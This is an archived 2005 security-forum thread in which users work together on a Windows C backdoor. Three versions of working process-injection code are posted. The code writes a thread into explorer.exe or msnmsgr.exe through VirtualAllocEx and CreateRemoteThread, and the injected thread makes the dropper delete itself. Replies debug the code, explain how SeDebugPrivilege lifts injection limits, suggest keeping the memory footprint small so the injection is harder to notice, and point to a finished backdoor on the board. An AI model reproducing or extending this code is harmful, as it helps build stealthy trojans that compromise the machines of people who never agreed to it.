Articles

Metasploit Framework Windows Tutorial
Remote Desktop Connection
Windows Processes That May Be Dangerous
How-To use NetCat a Tutorial
Common Linux Commands
Common Ports
Netcat Commands
HTTP Response Codes
War-Google Hack Terms
Wardriving
Avoiding Social Engineering and Phishing Attacks
Intrusion Detection on Linux
Linux Intrusion Detection
Penetration Testing Guide
Penetration Testing Tools
Social Engineering Fundamentals, Part I: Hacker Tactics
Social engineering (computer security)
The Psychology of Social Engineering

The Archives

General GSO
GovernmentSecurity.org News & Suggestions
In The News
Open Topic
General Security Information
Trash Can
Exploit & Vulnerability Mailing List Archives
Trial Member Forum
Product and Program Reviews GSO Tutorials
System Security
Windows Systems
Beginners Section
Linux & Unix Systems
File Downloads
Exploit Research & Discussion Trojan & Virus Errata
Networking Security / Firewall / IDS / VPN / Routers
System Hardening
E-Mail Security
Wifi Security
Trial Member Uploads
Upload discovered Trojans & Mal ware
GSO Programming Section
C , C++ , VC++
Visual Basic.NET
Perl /CGI
Java/Javascript
PHP/XML/ASP/HTML
Assembly + Other
The Cork Board
Network Security Consultant Directory
Network Security Jobs
The Archives
Encryption Information
General Network Security
Internet Anonymity
HTTP Protocol Security
Linux Security
MS IIS Information
Exploit Articles
Programming / Tool Design
GSO Software Projects
Public Downloads
Microsoft Security Questions and Papers

kinkey_wizard
Hi there,

For some time, I try with another to make a Windows C backdoor. We already succeeded in coding some functions which will be

useful later for us, but our knowledge of the C has its limits. Thus we always have a problem with the process injection.

We would like to avoid having to make a DLL injection (because, as you know it surely, the FWB is detected by majority of firewalls.), and we would prefer to only make an injection of some functions (FWB++). Looking after that on the board I found this thread :
http://www.governmentsecurity.org/forum/in...showtopic=14130
We can see this code of Killaloop (thanks guy wink.gif ), which makes it possible to an executable to delete itself :
QUOTE
#pragma comment(lib,"Shlwapi.lib")
#pragma comment(lib,"ADVAPI32.LIB")

#include <stdio.h>
#include <windows.h>
#include <Shlwapi.h>
#include <tlhelp32.h>

#define INJECT_EXE  "explorer.exe"

typedef struct _RPar
        {
        DWORD dwDeleteFile;
        DWORD dwSleep;
        char Filename[1024];
        } RPar;

DWORD __stdcall ThreadProc(RPar *Para)
      {
      FARPROC PDeleteFile = (FARPROC)Para->dwDeleteFile;
      FARPROC PSleep = (FARPROC)Para->dwSleep;

      while(PDeleteFile(Para->Filename) == 0) {PSleep(1000);}
      return 0;
      }

int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow)
    {
    DWORD dwThreadId,pID=0,dwThreadSize=2048;
    void *pRemoteThread;
    char ExeFile[1024];
    HANDLE hProcess,hSnap;
    HINSTANCE hKernel;
    RPar my_RPar,*pmy_RPar;

    PROCESSENTRY32 pe32 = {0};

    if( (hSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE )
        return 3;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    Process32First(hSnap, &pe32);
    do {
      if ( StrCmpNI(INJECT_EXE,pe32.szExeFile,strlen(INJECT_EXE)) == 0)
          {
          pID=pe32.th32ProcessID;
          break;
          }
      } while (Process32Next(hSnap,&pe32));

    if ( hSnap != INVALID_HANDLE_VALUE )
    CloseHandle(hSnap);
    hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);
    pRemoteThread = VirtualAllocEx(hProcess, 0, dwThreadSize, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(hProcess, pRemoteThread, &ThreadProc, dwThreadSize,0);


    ZeroMemory(&my_RPar,sizeof(RPar));
    hKernel = LoadLibrary( "kernel32.dll");
    my_RPar.dwDeleteFile = (DWORD)GetProcAddress(hKernel, "DeleteFileA");
    my_RPar.dwSleep = (DWORD)GetProcAddress(hKernel, "Sleep");
    GetModuleFileName(NULL,ExeFile,1024);
    strcpy(my_RPar.Filename, ExeFile);
   
    pmy_RPar =(RPar *)VirtualAllocEx (hProcess ,0,sizeof(RPar),MEM_COMMIT,PAGE_READWRITE);
    WriteProcessMemory(hProcess ,pmy_RPar,&my_RPar,sizeof my_RPar,0);
   
    CreateRemoteThread(hProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pmy_RPar,0,&dwThreadId);
   
    FreeLibrary(hKernel);
    CloseHandle(hProcess);
    return 0;
    }


It works fine. Thanks.

But I have a problem all the same.
I tried this code :
QUOTE

#pragma comment(lib,"Shlwapi.lib")
#pragma comment(lib,"ADVAPI32.LIB")

#include <stdio.h>
#include <windows.h>
#include <Shlwapi.h>
#include <tlhelp32.h>

#define INJECT_EXE  "msnmsgr.exe"

typedef struct _RPar
        {
        DWORD dwDeleteFile;
        DWORD dwSleep;
        DWORD dwMessageBox;
        char Filename[1024];
        } RPar;

DWORD __stdcall ThreadProc(RPar *Para)
      {
      FARPROC PDeleteFile = (FARPROC)Para->dwDeleteFile;
      FARPROC PSleep = (FARPROC)Para->dwSleep;
      FARPROC PMessageBox = (FARPROC)Para->dwMessageBox;
     
      PMessageBox(NULL,"Hello world!","HI THERE",MB_OK);

     
      while(PDeleteFile(Para->Filename) == 0) {PSleep(1000);}
      return 0;
      }

int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow)
    {
    DWORD dwThreadId,pID=0,dwThreadSize=2048;
    void *pRemoteThread;
    char ExeFile[1024];
    HANDLE hProcess,hSnap;
    HINSTANCE hKernel, hUser;
    RPar my_RPar,*pmy_RPar;

    PROCESSENTRY32 pe32 = {0};

    if( (hSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE )
        return 3;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    Process32First(hSnap, &pe32);
    do {
      if ( StrCmpNI(INJECT_EXE,pe32.szExeFile,strlen(INJECT_EXE)) == 0)
          {
          pID=pe32.th32ProcessID;
          break;
          }
      } while (Process32Next(hSnap,&pe32));

    if ( hSnap != INVALID_HANDLE_VALUE )
    CloseHandle(hSnap);
    hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);
    pRemoteThread = VirtualAllocEx(hProcess, 0, dwThreadSize, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(hProcess, pRemoteThread, &ThreadProc, dwThreadSize,0);


    ZeroMemory(&my_RPar,sizeof(RPar));
    hKernel = LoadLibrary( "kernel32.dll");
    my_RPar.dwDeleteFile = (DWORD)GetProcAddress(hKernel, "DeleteFileA");
    my_RPar.dwSleep = (DWORD)GetProcAddress(hKernel, "Sleep");
    hUser = LoadLibrary( "user32.dll");
    my_RPar.dwMessageBox = (DWORD)GetProcAddress(hUser, "MessageBox");

    GetModuleFileName(NULL,ExeFile,1024);
    strcpy(my_RPar.Filename, ExeFile);
   
    pmy_RPar =(RPar *)VirtualAllocEx (hProcess ,0,sizeof(RPar),MEM_COMMIT,PAGE_READWRITE);
    WriteProcessMemory(hProcess ,pmy_RPar,&my_RPar,sizeof my_RPar,0);
   
    CreateRemoteThread(hProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pmy_RPar,0,&dwThreadId);
   
    FreeLibrary(hKernel);
    CloseHandle(hProcess);
    return 0;
    }

In it I add just a message box in the injected function. The parts in red represent all the code which I add for that. I

test, and then, explorer.exe (or other process where the function is injected) crashes.
So my first question is : what did I forget in order to display my messagebox by the injected function ?

The second question would be : How could I do, starting from this code, to add other functions in
ThreadProc() which were not APIs but functions of my design ?

Please excuse my potential mistakes in English, it is not my native language. If you did not understand something, tell me, I

will be delighted to explain again.
Thanks in advance with all those who will want to answer.
Killaloop
QUOTE
#pragma comment(lib,"Shlwapi.lib")
#pragma comment(lib,"ADVAPI32.LIB")

#include <stdio.h>
#include <windows.h>
#include <Shlwapi.h>
#include <tlhelp32.h>

#define INJECT_EXE  "explorer.exe"

typedef struct _RPar
       {
       DWORD dwDeleteFile;
       DWORD dwSleep;
       DWORD dwMessageBox;
       char Filename[1024];
       char string1[1024];
       char string2[1024];
       } RPar;

DWORD __stdcall ThreadProc(RPar *Para)
     {
     FARPROC PDeleteFile = (FARPROC)Para->dwDeleteFile;
     FARPROC PSleep = (FARPROC)Para->dwSleep;
     FARPROC PMessageBox = (FARPROC)Para->dwMessageBox;
     
     PMessageBox(NULL,Para->string1,Para->string2,MB_OK);
     
     while(PDeleteFile(Para->Filename) == 0) {PSleep(1000);}
     return 0;
     }

int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow)
   {
   DWORD dwThreadId,pID=0,dwThreadSize=2048;
   void *pRemoteThread;
   char ExeFile[1024];
   HANDLE hProcess,hSnap;
   HINSTANCE hKernel, hUser;
   RPar my_RPar,*pmy_RPar;

   PROCESSENTRY32 pe32 = {0};

   if( (hSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE )
       return 3;
   pe32.dwSize = sizeof(PROCESSENTRY32);
   Process32First(hSnap, &pe32);
   do {
     if ( StrCmpNI(INJECT_EXE,pe32.szExeFile,strlen(INJECT_EXE)) == 0)
         {
         pID=pe32.th32ProcessID;
         break;
         }
     } while (Process32Next(hSnap,&pe32));

   if ( hSnap != INVALID_HANDLE_VALUE )
   CloseHandle(hSnap);
   hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);
   pRemoteThread = VirtualAllocEx(hProcess, 0, dwThreadSize, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);

   WriteProcessMemory(hProcess, pRemoteThread, &ThreadProc, dwThreadSize,0);


   ZeroMemory(&my_RPar,sizeof(RPar));
   hKernel = LoadLibrary( "kernel32.dll");
   my_RPar.dwDeleteFile = (DWORD)GetProcAddress(hKernel, "DeleteFileA");
   my_RPar.dwSleep = (DWORD)GetProcAddress(hKernel, "Sleep");
   hUser = LoadLibrary( "user32.dll");
   my_RPar.dwMessageBox = (DWORD)GetProcAddress(hUser, "MessageBoxA");
   GetModuleFileName(NULL,ExeFile,1024);
   strcpy(my_RPar.Filename, ExeFile);
  strcpy(my_RPar.string1, "HI THERE");
   strcpy(my_RPar.string2, "Hello World!");

   
   pmy_RPar =(RPar *)VirtualAllocEx (hProcess ,0,sizeof(RPar),MEM_COMMIT,PAGE_READWRITE);
   WriteProcessMemory(hProcess ,pmy_RPar,&my_RPar,sizeof my_RPar,0);
   
   CreateRemoteThread(hProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pmy_RPar,0,&dwThreadId);
   
   FreeLibrary(hKernel);
   CloseHandle(hProcess);
   return 0;
   }

here is the fixed code
first of the functions name is MessageBoxA that was the reason why the injected execuables crashed.
second you cannot have any strings defined in the injected thread.
the pointers would point to a wrong memory location.
you have to define them in the struct.
well see what I have done and you know what went wrong.
btw.: you will already find a working backdoor using this within this section on this board, just open your eyes
n.n.p
Ok, I just spent the last 20 mins on msdn checking out all those functions i've never seen before and i have but one question..... can any process do this? i.e is there no issue with access rights or anything. For example

CODE
pRemoteThread = VirtualAllocEx(hProcess, 0, dwThreadSize, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);


That reserves space in the INJECT_EXE's virtual address space right? and i can see you opened that with
CODE
hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);


which gives you the access to do this but are there any restrictions on opening processes like this and allocating/writing to their virtual address space?

Thanks,
NNP
Killaloop
exactly
you try to get a handle to the process with all access flag set.
this will only work if you own the process.
if you run as an user you can only inject into processes running with your user account.
if you run as administrator you can give yourself se_debug_privs and inject into everything.
I once miscoded something and ruined my windows causing it to not give se_debug_privs to the administrator account.
this made many windows programs not work anymore, but has stopped me from injecting.
n.n.p
but i dont have to be admin to inject? I mean if im an unprivaleged user can i inject code into, for example, svchost.exe's virtual address space?
Killaloop
read again what I have said.
QUOTE
if you run as an user you can only inject into processes running with your user account.

does svchost run with your user account? no its a system process.
next time if you ask a question listen for the answer or don't expect me to answer again
kinkey_wizard
Thanks very much Killaloop. You answered to my question. :]

Also... Wow!! o_o
I apologise, indeed I didn't open my eyes. :/
I'm going to study this thread too :
http://www.governmentsecurity.org/forum/in...showtopic=13887
(Moreover thanks for that too :] )

Regards.
Killaloop
QUOTE(kinkey_wizard @ Aug 8 2005, 09:22 PM)
Thanks very much Killaloop. You answered to my question. :]

Also... Wow!! o_o
I apologise, indeed I didn't open my eyes. :/
I'm going to study this thread too :
http://www.governmentsecurity.org/forum/in...showtopic=13887
(Moreover thanks for that too :] )

Regards.
*


no problem.
its good that you tried to understand the code first and did not use the finished backdoor.
now you know how it works and what it does and why your way failed.
thats better in my eyes than just compiling someones code.
btw take care to only use as much memory as you actually need for your stuff because you will see how the used memory of your target process increases after injection.
so doing something like I did with char string1[1024] if we only need 10 bytes is not really good smile.gif
kinkey_wizard
QUOTE(Killaloop @ Aug 8 2005, 11:49 PM)
btw take care to only use as much memory as you actually need for your stuff because you will see how the used memory of your target process increases after injection.
so doing something like I did with char string1[1024] if we only need 10 bytes is not really good smile.gif

I think I can do that :
CODE
#define INJECT_EXE  "explorer.exe"
#define HELLO "Hello world"

typedef struct _RPar
      {
      DWORD dwDeleteFile;
      DWORD dwSleep;
      DWORD dwMessageBox;
      char Filename[1024];
      char string2[] = HELLO;
      } RPar;

... And remove this line :
CODE
strcpy(my_RPar.string2, "Hello World!");

... To optimize the memory management.
No ?
Killaloop
no this won't even compile and even if it does your pointers would be wrong.
how would the remote thread know where the defined char is located at?
just use the way shown and only use memory you need like
char string1[7] for Hello!
kinkey_wizard
Ok, thanks for the information. smile.gif
I will try to make as well as possible.
If I have other questions or as soon as I finish my backdoor, I come back. :]

Regards.
Intox
Using a structure wich contain all variables needed in injected fonction works fine in a simple backdoor, but it becomes really boring if you want to add some features to your backdoor/trojan.

I was wondering myself about a way to use many fonctions in an injection:
i though about declaring some pointers in the RPar structure, and make them point on the designed functions, but pointers have same type and arguments that the object they point, and i can't define type functions in the Rpar structure.

i though about injecting all functions i need into explorer (the injected process), i didn't try.

Someone have an idea and can direct me ?

I apologize for my bad english and my weak knowledge of C langage.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Invision Power Board © 2001-2005 Invision Power Services, Inc.